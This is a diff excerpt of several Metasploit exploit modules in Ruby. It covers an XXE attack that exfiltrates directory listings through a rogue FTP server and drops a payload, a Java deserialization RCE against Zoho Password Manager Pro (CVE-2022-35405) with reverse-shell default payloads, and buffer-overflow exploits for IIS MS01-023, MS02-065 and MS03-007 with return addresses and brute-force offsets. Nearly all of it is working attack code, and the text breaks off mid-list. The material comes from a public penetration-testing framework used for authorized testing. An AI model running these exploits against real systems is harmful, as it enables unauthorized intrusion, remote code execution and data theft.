'uri' => normalize_uri(datastore['TARGETURI_XXE']).to_s,
'ctype' => 'application/json',
'data' => create_json_request("<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % file SYSTEM \"file:#{folder}\"><!ENTITY % start \"<![CDATA[\"><!ENTITY % end \"]]>\"><!ENTITY % dtd SYSTEM \"#{full_url}\"> %dtd;]><data>&send;</data>")
)
if res&.code != 200
fail_with(Failure::Unknown, "XXE request to get directory listing failed with HTTP/#{res&.code}")
end
ftp_client = nil
begin
# Wait for a connection with a timeout
select_result = ::IO.select([ftp_server], nil, nil, datastore['FtpCallbackTimeout'])
unless select_result && !select_result.empty?
print_warning("FTP reverse connection for directory enumeration failed - #{ftp_url}")
return nil
end
# Accept the connection
ftp_client = ftp_server.accept
# Print a standard banner
ftp_client.print("220 Microsoft FTP Service\r\n")
# We need to flip this so we can get a directory listing over multiple packets
directory_listing = nil
loop do
select_result = ::IO.select([ftp_client], nil, nil, datastore['FtpCallbackTimeout'])
# Check if we ran out of data
if !select_result || select_result.empty?
# If we got nothing, we're sad
if directory_listing.nil? || directory_listing.empty?
print_warning('Did not receive data from our reverse FTP connection')
return nil
end
# If we have data, we're happy and can break
break
end
# Receive the data that's waiting
data = ftp_client.recv(256)
if data.empty?
# If we got nothing, we're done receiving
break
end
# Match behavior with ftp://test.rebex.net
if data =~ /^USER ([a-zA-Z0-9_.-]*)/
ftp_client.print("331 Password required for #{Regexp.last_match(1)}.\r\n")
elsif data =~ /^PASS /
ftp_client.print("230 User logged in.\r\n")
elsif data =~ /^TYPE ([a-zA-Z0-9_.-]*)/
ftp_client.print("200 Type set to #{Regexp.last_match(1)}.\r\n")
elsif data =~ /^EPSV ALL/
ftp_client.print("200 ESPV command successful.\r\n")
elsif data =~ /^EPSV/ # (no space)
ftp_client.print("229 Entering Extended Passive Mode(|||#{rand(1025..1100)})\r\n")
elsif data =~ /^RETR (.*)/m
# Store the start of the listing
directory_listing = Regexp.last_match(1)
else
# Have we started receiving data?
# (Disable Rubocop, because I think it's way more confusing to
# continue the elsif train)
if directory_listing.nil? # rubocop:disable Style/IfInsideElse
# We shouldn't really get here, but if we do, just play dumb and
# keep the client talking
ftp_client.print("230 User logged in.\r\n")
else
# If we're receiving data, just append
directory_listing.concat(data)
end
end
# Break when we get the PORT command (this is faster than timing out,
# but doesn't always seem to work)
if !directory_listing.nil? && directory_listing =~ /(.*)#{end_tag}/m
directory_listing = Regexp.last_match(1)
break
end
end
ensure
ftp_server.close
if ftp_client
ftp_client.close
end
end
# Handle FTP errors (which thankfully aren't as common as they used to be)
unless ftp_client
print_warning("Didn't receive expected FTP connection")
return nil
end
if directory_listing.nil? || directory_listing.empty?
vprint_warning('FTP client connected, but we did not receive any data over the socket')
return nil
end
# Remove PORT commands, split at \r\n or \n, and remove empty elements
directory_listing.gsub(/PORT [0-9,]+[\r\n]/m, '').split(/\r?\n/).reject(&:empty?)
end
def search_for_payloads(users)
return users.flat_map do |u|
dir = "/users/#{u}/appdata/local/temp"
# This will search for the payload, but right now just print stuff
listing = get_directory_listing(dir)
unless listing
vprint_warning("Couldn't get directory listing for #{dir}")
next []
end
listing
.select { |f| f =~ /^jar_cache[0-9]+.tmp$/ }
.map { |f| File.join(dir, f) }
end
end
def upload_payload(payload, queue)
t = framework.threads.spawn('adaudit-payload-deliverer', false) do
c = nil
begin
# We use a TCP socket here so we can hold the socket open after the HTTP
# conversation has concluded. That way, the server caches the file in
# the user's temp folder while it waits for more data
http_server = Rex::Socket::TcpServer.create(
'LocalPort' => datastore['SRVPORT_HTTP2'],
'LocalHost' => srv_host,
'Comm' => select_comm,
'Context' => {
'Msf' => framework,
'MsfExploit' => self
}
)
# Wait for the reverse connection, with a timeout
select_result = ::IO.select([http_server], nil, nil, datastore['HttpUploadTimeout'])
unless select_result && !select_result.empty?
fail_with(Failure::Unknown, "XXE request to upload file did not receive a reverse connection on #{datastore['SRVPORT_HTTP2']}")
end
# Receive and discard the HTTP request
c = http_server.accept
c.recv(1024)
c.print "HTTP/1.1 200 OK\r\n"
c.print "Connection: keep-alive\r\n"
c.print "\r\n"
c.print payload
# This will notify the other thread that something has arrived
queue.push(true)
# This has to stay open as long as it takes to enumerate all users'
# directories to find then execute the payload. ~5 seconds works on
# a single-user system, but I increased this a lot for production.
# (This thread should be killed when the exploit completes in any case)
Rex.sleep(60)
ensure
http_server.close
if c
c.close
end
end
end
# Trigger the XXE to get file listings
path = "/#{rand_text_alpha(rand(8..15))}.jar!/file.txt"
full_url = "http://#{srv_host}:#{datastore['SRVPORT_HTTP2']}#{path}"
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI_XXE']).to_s,
'ctype' => 'application/json',
'data' => create_json_request("<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % xxe SYSTEM \"jar:#{full_url}\"> %xxe;]>")
)
if res&.code != 200
fail_with(Failure::Unknown, "XXE request to upload payload failed with HTTP/#{res&.code}")
end
return t
end
def serve_http_file(path, respond_with = '')
# do not use SSL for the attacking web server
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
start_service({
'Uri' => {
'Proc' => proc do |cli, _req|
send_response(cli, respond_with)
end,
'Path' => path
}
})
datastore['SSL'] = true if ssl_restore
end
def create_json_request(xml_payload)
[
{
'DomainName' => datastore['domain'],
'EventCode' => 4688,
'EventType' => 0,
'TimeGenerated' => 0,
'Task Content' => xml_payload
}
].to_json
end
end
@@ -0,0 +1,159 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::JavaDeserialization
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Zoho Password Manager Pro XML-RPC Java Deserialization',
'Description' => %q{
This module exploits a Java deserialization vulnerability in Zoho ManageEngine Pro
before 12101 and PAM360 before 5510. Unauthenticated attackers can send a
crafted XML-RPC request containing malicious serialized data to /xmlrpc to
gain RCE as the SYSTEM user.
},
'Author' => [
'Vinicius', # Discovery
'Y4er', # Writeup
'Grant Willcox' # Exploit
],
'References' => [
['CVE', '2022-35405'],
['URL', 'https://xz.aliyun.com/t/11578'], # Writeup
['URL', 'https://www.manageengine.com/products/passwordmanagerpro/advisory/cve-2022-35405.html'], # Advisory
['URL', 'https://archives2.manageengine.com/passwordmanagerpro/12101/ManageEngine_PasswordManager_Pro_12100_to_12101.ppm'] # The patch.
],
'DisclosureDate' => '2022-06-24', # Vendor release date of patch and new installer, as advisory lacks any date.
'License' => MSF_LICENSE,
'Platform' => ['win'],
'Arch' => [ARCH_CMD, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Windows EXE Dropper',
{
'Arch' => ARCH_X64,
'Type' => :windows_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }
}
],
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'Type' => :windows_command,
'Space' => 3000,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }
}
],
[
'Windows Powershell',
{
'Arch' => ARCH_X64,
'Type' => :windows_powershell,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell/x64/meterpreter/reverse_tcp' }
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
Opt::RPORT(7272),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
def check
# Send an empty serialized object
res = send_request_xmlrpc('')
unless res
return CheckCode::Unknown('Target did not respond to check.')
end
if res.body.include?('Failed to read result object: null')
return CheckCode::Vulnerable('Target can deserialize arbitrary data.')
end
CheckCode::Safe('Target cannot deserialize arbitrary data.')
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :windows_command
execute_command(payload.encoded)
when :windows_dropper
cmd_target = targets.select { |target| target['Type'] == :windows_command }.first
execute_cmdstager({ linemax: cmd_target.opts['Space'] })
when :windows_powershell
execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true))
end
end
def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")
res = send_request_xmlrpc(
generate_java_deserialization_for_command('CommonsBeanutils1', 'cmd', cmd)
)
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}")
end
print_good("Successfully executed command: #{cmd}")
end
def send_request_xmlrpc(data)
# http://xmlrpc.com/
# https://ws.apache.org/xmlrpc/
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/xmlrpc'),
'ctype' => 'text/xml',
'data' => <<~XML
<?xml version="1.0"?>
<methodCall>
<methodName>#{rand_text_alphanumeric(8..42)}</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>#{rand_text_alphanumeric(8..42)}</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">#{Rex::Text.encode_base64(data)}</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
XML
)
end
end
@@ -6,99 +6,124 @@
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow',
'Description' => %q{
This exploits a buffer overflow in the request processor of
the Internet Printing Protocol ISAPI module in IIS. This
module works against Windows 2000 service pack 0 and 1. If
the service stops responding after a successful compromise,
run the exploit a couple more times to completely kill the
hung process.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
super(
update_info(
info,
'Name' => 'MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow',
'Description' => %q{
This exploits a buffer overflow in the request processor of the
Internet Printing Protocol ISAPI module in IIS. This module
works against Windows 2000 Server and Professional SP0-SP1.
If the service stops responding after a successful compromise,
run the exploit a couple more times to completely kill the
hung process.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2001-0241'],
[ 'OSVDB', '3323'],
[ 'BID', '2674'],
[ 'MSB', 'MS01-023'],
[ 'URL', 'https://seclists.org/lists/bugtraq/2001/May/0005.html'],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 900,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500,
'Privileged' => false,
'Payload' => {
'Space' => 900,
'BadChars' => "\x00\x0a\x0b\x0d\x20\x2f\x3a",
'StackAdjustment' => -3500
},
'Targets' =>
[
[
'Windows 2000 English SP0-SP1',
{
'Platform' => 'win',
'Ret' => 0x732c45f3,
},
],
],
'Platform' => 'win',
'DisclosureDate' => '2001-05-01',
'DefaultTarget' => 0))
'Targets' => [
# jmp esp @ compfilt.dll
[ 'Windows 2000 SP0-SP1 (Arabic)', { 'Ret' => 0x732345f3 } ],
[ 'Windows 2000 SP0-SP1 (Czech)', { 'Ret' => 0x732645f3 } ],
[ 'Windows 2000 SP0-SP1 (Chinese)', { 'Ret' => 0x732245f3 } ],
[ 'Windows 2000 SP0-SP1 (Dutch)', { 'Ret' => 0x732745f3 } ],
[ 'Windows 2000 SP0-SP1 (English)', { 'Ret' => 0x732c45f3 } ],
[ 'Windows 2000 SP0-SP1 (French)', { 'Ret' => 0x732345f3 } ],
[ 'Windows 2000 SP0-SP1 (Finnish)', { 'Ret' => 0x732945f3 } ],
[ 'Windows 2000 SP0-SP1 (German)', { 'Ret' => 0x732345f3 } ],
# [ 'Windows 2000 SP0-SP1 (Greek)', { 'Ret' => 0x732045f3 } ], # contains 0x20
[ 'Windows 2000 SP0-SP1 (Korean)', { 'Ret' => 0x731e45f3 } ],
[ 'Windows 2000 SP0-SP1 (Hungarian)', { 'Ret' => 0x732445f3 } ],
[ 'Windows 2000 SP0-SP1 (Italian)', { 'Ret' => 0x732645f3 } ],
[ 'Windows 2000 SP0-SP1 (Portuguese)', { 'Ret' => 0x732645f3 } ],
[ 'Windows 2000 SP0-SP1 (Spanish)', { 'Ret' => 0x732645f3 } ],
[ 'Windows 2000 SP0-SP1 (Swedish)', { 'Ret' => 0x732945f3 } ],
[ 'Windows 2000 SP0-SP1 (Turkish)', { 'Ret' => 0x732545f3 } ],
register_options(
[
Opt::RPORT(80)
])
# jmp esp @ ws2_32.dll
[ 'Windows 2000 Pro SP0 (Greek)', { 'Ret' => 0x74f862c3 } ],
[ 'Windows 2000 Pro SP1 (Greek)', { 'Ret' => 0x74f85173 } ],
],
'Arch' => [ARCH_X86],
'Platform' => 'win',
'DefaultOptions' => {
'PAYLOAD' => 'windows/shell/reverse_tcp'
},
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SERVICE_DOWN],
'SideEffects' => [IOC_IN_LOGS]
},
'DefaultTarget' => 4,
'DisclosureDate' => '2001-05-01'
)
)
register_options([
Opt::RPORT(80)
])
end
def check
connect
sock.put("GET /NULL.printer HTTP/1.0\r\n\r\n")
resp = sock.get_once
disconnect
res = send_request_cgi({
'uri' => '/NULL.printer',
'version' => '1.0'
})
if !(resp and resp =~ /Error in web printer/)
return Exploit::CheckCode::Safe
end
return CheckCode::Unknown('Connection failed') unless res
return CheckCode::Safe unless res.code == 500
# Error response is language dependent: "<b>Error in web printer install.</b>"
return CheckCode::Safe unless res.body.to_s.starts_with?('<b>') && res.body.to_s.ends_with?('</b>')
connect
sock.put("GET /NULL.printer HTTP/1.0\r\nHost: #{"X"*257}\r\n\r\n")
resp = sock.get_once
disconnect
res = send_request_cgi({
'uri' => '/NULL.printer',
'vhost' => rand_text_alpha(257),
'version' => '1.0'
})
if (resp and resp =~ /locked out/)
print_status("The IUSER account is locked out, we can't check")
return Exploit::CheckCode::Detected
end
return CheckCode::Unknown('Connection failed') unless res
return CheckCode::Detected("The IUSER account is locked out, we can't check") if res.body.to_s.include?('locked out')
return CheckCode::Safe unless res.code == 500
return CheckCode::Safe unless res.body.to_s.starts_with?('<b>') && res.body.to_s.ends_with?('</b>')
if (resp and resp.index("HTTP/1.1 500") >= 0)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
CheckCode::Appears
end
def exploit
connect
print_status("Using target: #{target.name} ...")
buf = make_nops(280)
buf[268, 4] = [target.ret].pack('V')
buf = make_nops(268)
buf << [target.ret].pack('V')
buf << make_nops(8)
# payload is at: [ebx + 96] + 256 + 64
buf << "\x8b\x4b\x60" # mov ecx, [ebx + 96]
buf << "\x80\xc1\x40" # add cl, 64
buf << "\x80\xc5\x01" # add ch, 1
buf << "\xff\xe1" # jmp ecx
buf << "\x8b\x4b\x60" # mov ecx, [ebx + 96]
buf << "\x80\xc1\x40" # add cl, 64
buf << "\x80\xc5\x01" # add ch, 1
buf << "\xff\xe1" # jmp ecx
sock.put("GET http://#{buf}/NULL.printer?#{payload.encoded} HTTP/1.0\r\n\r\n")
res = send_request_cgi({
'uri' => "http://#{buf}/NULL.printer?#{payload.encoded}",
'version' => '1.0'
}, 5)
handler
disconnect
# It is expected that we receive no reply. A reply indicates exploit failure.
fail_with(Failure::UnexpectedReply, "#{res.code} #{res.message}") if res
end
end
+56 -53
View File
@@ -8,10 +8,12 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
def initialize
def initialize(info = {})
super(
'Name' => 'MS02-065 Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow',
'Description' => %q{
update_info(
info,
'Name' => 'MS02-065 Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow',
'Description' => %q{
This module can be used to execute arbitrary code on IIS servers
that expose the /msadc/msadcs.dll Microsoft Data Access Components
(MDAC) Remote Data Service (RDS) DataFactory service. The service is
@@ -19,78 +21,79 @@ class MetasploitModule < Msf::Exploit::Remote
(handsafe.reg). The service is vulnerable to a heap overflow where
the RDS DataStub 'Content-Type' string is overly long. Microsoft Data
Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.
},
'Author' => 'aushack',
'Platform' => 'win',
'References' =>
[
},
'Author' => 'aushack',
'Platform' => 'win',
'Arch' => [ARCH_X86],
'References' => [
['OSVDB', '14502'],
['BID', '6214'],
['CVE', '2002-1142'],
['MSB', 'MS02-065'],
['URL', 'http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0082.html']
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x09\x0a\x0b\x0d\x20:?<>=$\\/\"';=+%#&",
'StackAdjustment' => -3500,
'Privileged' => false,
'Payload' => {
'Space' => 1024,
'BadChars' => "\x00\x09\x0a\x0b\x0d\x20\x22\x27:?<>=$\\/;=+%#&", # "\u0000\t\n\v\r \"':?<>=$\\/;=+%#&"
'StackAdjustment' => -3500
},
'DefaultOptions' =>
{
'EXITFUNC' => 'seh', # stops IIS from crashing... hopefully
'DefaultOptions' => {
'PAYLOAD' => 'windows/shell/reverse_tcp',
'EXITFUNC' => 'seh' # stops IIS from crashing... hopefully
},
'Targets' =>
[
# aushack tested OK 20120607 w2kpro en sp0 msadcs.dll v2.50.4403.0
[ 'Windows 2000 Pro English SP0', { 'Ret' => 0x75023783 } ], # jmp eax ws2help.dll
'Targets' => [
# jmp eax ws2help.dll
[ 'Windows 2000 Pro SP0-SP3 (English)', { 'Ret' => 0x75023783 } ],
[ 'Windows 2000 Pro SP0 (Korean)', { 'Ret' => 0x74f93783 } ],
[ 'Windows 2000 Pro SP0 (Dutch)', { 'Ret' => 0x74fd3783 } ],
[ 'Windows 2000 Pro SP0 (Finnish)', { 'Ret' => 0x74ff3783 } ],
[ 'Windows 2000 Pro SP0 (Turkish)', { 'Ret' => 0x74fc3783 } ],
[ 'Windows 2000 Pro SP0-SP1 (Greek)', { 'Ret' => 0x74f73783 } ],
[ 'Windows 2000 Pro SP1 (Arabic)', { 'Ret' => 0x74f93783 } ],
[ 'Windows 2000 Pro SP1 (Czech)', { 'Ret' => 0x74fc3783 } ],
[ 'Windows 2000 Pro SP2 (French)', { 'Ret' => 0x74fa3783 } ],
[ 'Windows 2000 Pro SP2 (Portuguese)', { 'Ret' => 0x74fd3783 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 20 2002'
'DefaultTarget' => 0,
'DisclosureDate' => '2002-11-02',
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SERVICE_DOWN],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('PATH', [ true, "The path to msadcs.dll", '/msadc/msadcs.dll']),
])
register_options([
OptString.new('TARGETURI', [ true, 'The path to msadcs.dll', '/msadc/msadcs.dll' ], aliases: [ 'PATH' ]),
])
end
def check
res = send_request_raw({
'uri' => normalize_uri(datastore['PATH']),
'method' => 'GET',
})
if (res and res.code == 200)
print_status("Server responded with HTTP #{res.code} OK")
if (res.body =~ /Content-Type: application\/x-varg/)
print_good("#{datastore['PATH']} matches fingerprint application\/x-varg")
Exploit::CheckCode::Detected
end
else
Exploit::CheckCode::Safe
res = send_request_cgi('uri' => normalize_uri(target_uri.path))
return CheckCode::Unknown('Connection failed') unless res
return CheckCode::Unknown('HTTP server error') if res.code == 500
return CheckCode::Safe('Access Forbidden') if res.code == 403
if res.code == 200 && res.body.to_s.include?('Content-Type: application/x-varg')
return CheckCode::Detected("#{target_uri.path} content type matches fingerprint application/x-varg")
end
CheckCode::Safe
end
def exploit
sploit = rand_text_alphanumeric(136)
sploit[24,2] = Rex::Arch::X86.jmp_short(117)
sploit[24, 2] = Rex::Arch::X86.jmp_short(117)
sploit << [target['Ret']].pack('V')
sploit << payload.encoded
data = 'Content-Type: ' + sploit
res = send_request_raw({
'uri' => normalize_uri(datastore['PATH'], '/AdvancedDataFactory.Query'),
'headers' =>
{
'Content-Length' => data.length,
},
'method' => 'POST',
'data' => data,
send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/AdvancedDataFactory.Query'),
'method' => 'POST',
'data' => "Content-Type: #{sploit}"
})
handler
end
end
@@ -9,37 +9,48 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'MS03-007 Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow',
'Description' => %q{
This exploits a buffer overflow in NTDLL.dll on Windows 2000
through the SEARCH WebDAV method in IIS. This particular
module only works against Windows 2000. It should have a
reasonable chance of success against any service pack.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2003-0109'],
[ 'OSVDB', '4467'],
[ 'BID', '7116'],
[ 'MSB', 'MS03-007']
],
'Privileged' => false,
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500,
super(
update_info(
info,
'Name' => 'MS03-007 Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow',
'Description' => %q{
This exploits a buffer overflow in NTDLL.dll on Windows 2000
through the SEARCH WebDAV method in IIS. This particular
module only works against Windows 2000. It should have a
reasonable chance of success against SP0 to SP3.
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic Brute Force', { } ],
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2003-0109'],
['OSVDB', '4467'],
['BID', '7116'],
['PACKETSTORM', '30939'],
['MSB', 'MS03-007']
],
'DisclosureDate' => '2003-05-30',
'DefaultTarget' => 0))
'Privileged' => false,
'Payload' => {
'Space' => 512,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Arch' => [ARCH_X86],
'Targets' => [
[ 'Automatic Brute Force', {} ],
],
'DefaultOptions' => {
'PAYLOAD' => 'windows/shell/reverse_tcp'
},
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SERVICE_DOWN],
'SideEffects' => [IOC_IN_LOGS]
},
'DisclosureDate' => '2003-05-30',
'DefaultTarget' => 0
)
)
register_evasion_options(
[
@@ -48,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote
# XXX - ugh, there has to be a better way to remove entries from an
# enum that overwriting the evalable enum option
OptEnum.new('HTTP::uri_encode', [false, 'Enable URI encoding', 'none', ['none','hex-normal'], 'none'])
OptEnum.new('HTTP::uri_encode', [false, 'Enable URI encoding', 'none', ['none', 'hex-normal'], 'none'])
], self.class
)
@@ -61,125 +72,222 @@ class MetasploitModule < Msf::Exploit::Remote
# back to 80 for automated exploitation
rport = datastore['RPORT'].to_i
if ( rport == 139 or rport == 445 )
rport = 80
if (rport == 139 || rport == 445)
datastore['RPORT'] = 80
end
true
end
def check
url = 'x' * 65535
xml =
"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n" +
"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n"
# Verify the service is running first
res = send_request_raw({ 'uri' => '/' }, 5)
return CheckCode::Safe('Connection failed') unless res
xml = "<?xml version=\"1.0\"?>\r\n"
xml << "<g:searchrequest xmlns:g=\"DAV:\">\r\n"
xml << "<g:sql>\r\n"
xml << "Select \"DAV:displayname\" from scope()\r\n"
xml << "</g:sql>\r\n"
xml << "</g:searchrequest>\r\n"
response = send_request_cgi({
'uri' => '/' + url,
'ctype' => 'text/xml',
'method' => 'SEARCH',
'data' => xml
'uri' => "/#{'x' * 65535}",
'ctype' => 'text/xml',
'method' => 'SEARCH',
'data' => xml
}, 5)
if (response and response.body =~ /Server Error\(exception/)
vprint_status("We've hit a server error (exception)")
return Exploit::CheckCode::Vulnerable
if response && response.body.to_s.include?('Server Error(exception')
return CheckCode::Vulnerable("We've hit a server error (exception)")
end
# Did the server stop acceping requests?
# Request-URI Too Long
if response && response.code == 414
return CheckCode::Safe("The server returned #{response.code} (#{response.message})")
end
# Did the server stop accepting requests?
begin
send_request_raw({'uri' => '/'}, 5)
rescue
vprint_status("The server stopped accepting requests")
return Exploit::CheckCode::Vulnerable
send_request_raw({ 'uri' => '/' }, 5)
rescue StandardError
return CheckCode::Appears('The server stopped accepting requests') unless res
end
return Exploit::CheckCode::Safe
CheckCode::Safe
end
def exploit
# verify the service is running up front
send_request_raw({'uri' => '/'}, 5)
# Verify the service is running first
res = send_request_raw({ 'uri' => '/' }, 5)
fail_with(Failure::Unreachable, 'Connection failed') unless res
# The targets in the most likely order they will work
targets =
[
# Almost Targetted :)
"\x4f\x4e", # =SP3
"\x41\x42", # ~SP0 ~SP2
"\x41\x43", # ~SP1, ~SP2
# Generic Bruteforce
"\x41\xc1",
"\x41\xc3",
"\x41\xc9",
"\x41\xca",
"\x41\xcb",
"\x41\xcc",
"\x41\xcd",
"\x41\xce",
"\x41\xcf",
"\x41\xd0",
# Common offsets
common_offsets = [
"\x4f\x4e", # Windows 2000 Server / Professional (SP3 Universal(?) + some Server SP0/SP1/SP2)
"\x4f\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x41\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP1 SE / SP2 EN)
"\x41\x43", # Windows 2000 Server (SP1 EN / SP2 EN / SP2 RU)
"\x41\xb4", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
"\x41\xb8", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 NL / SP0 TR / SP1 CZ / SP2 FR / SP2 PT)
]
xml =
"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n" +
"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n"
# Generic Bruteforce - Windows 2000 Professional
pro_offsets = [
"\x41\xa8", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
"\x41\xa9", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
"\x41\xaa", # Windows 2000 Professional (SP1 EN / SP2 FR / SP2 PT)
"\x41\xab", # Windows 2000 Professional (SP1 AR)
"\x41\xac", # Windows 2000 Professional (SP0 FI)
"\x41\xad", # Windows 2000 Professional (SP0 FI / SP0 TR / SP1 CZ)
"\x41\xae", # Windows 2000 Professional (SP0 FI / SP0 TR / SP1 CZ)
"\x41\xaf",
"\x41\xb0",
"\x41\xb1", # Windows 2000 Professional (SP0 EN)
"\x41\xb2", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 EN / SP2 EN / SP2 PT)
"\x41\xb3", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 FR / SP2 PT)
"\x41\xb4", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
"\x41\xb5", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP2 EN / SP2 FR / SP2 PT)
"\x41\xb6", # Windows 2000 Professional (SP0 NL / SP1 AR / SP2 FR / SP2 PT)
"\x41\xb7", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 TR / SP1 AR / SP1 CZ / SP2 FR)
"\x41\xb8", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 NL / SP0 TR / SP1 CZ / SP2 FR / SP2 PT)
"\x41\xb9", # Windows 2000 Professional (SP0 FI / SP0 NL / SP0 TR / SP1 AR / SP2 FR / SP2 PT)
"\x41\xba", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 TR / SP2 FR)
"\x41\xbb", # Windows 2000 Professional (SP0 FI / SP0 NL / SP0 TR / SP1 CZ / SP2 PT)
"\x41\xbc", # Windows 2000 Professional (SP0 FI / SP1 AR / SP2 FR)
"\x41\xbd", # Windows 2000 Professional (SP0 FI / SP0 TR)
"\x41\xbe", # Windows 2000 Professional (SP0 TR)
"\x41\xbf", # Windows 2000 Professional (SP0 FI)
]
# Generic Bruteforce - Windows 2000 Server
server_offsets = [
"\x4f\xc0", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
"\x4f\xc1", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x4f\xc2", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x4f\xc3", # Windows 2000 Server (SP1 EN / SP2 EN)
"\x4f\xc4", # Windows 2000 Server (SP2 EN)
"\x4f\xc5", # Windows 2000 Server (SP0 ES / SP0 TR)
"\x4f\xc6", # Windows 2000 Server (SP0 ES / SP0 TR / SP1 SE)
"\x4f\xc7", # Windows 2000 Server (SP0 ES / SP0 HU / SP0 TR / SP1 SE)
"\x4f\xc8", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 SE)
